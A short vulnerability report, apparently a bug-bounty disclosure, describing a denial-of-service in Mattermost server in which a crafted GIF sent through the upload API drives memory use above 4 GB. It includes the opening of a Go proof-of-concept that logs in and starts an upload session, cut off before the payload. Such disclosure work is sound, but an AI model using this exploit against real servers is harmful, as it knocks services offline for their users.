DOS: out of memory from gif through upload api

Summary: When sending a specially crafted gif with max dimensions through the upload API, we get Mattermost server to consume more than 4Gbytes of RAM

package main

import (
	"bytes"
	"fmt"
	"github.com/mattermost/mattermost-server/v5/model"
)

func main() {
	Client := model.NewAPIv4Client("http://localhost:8065/")
	Client.Login("toto", "tototo")
	us := &model.UploadSession{
		ChannelId: "5dtj9hf89ifap8imigbzjc7wjo",
		Filename:  "oom.gif", …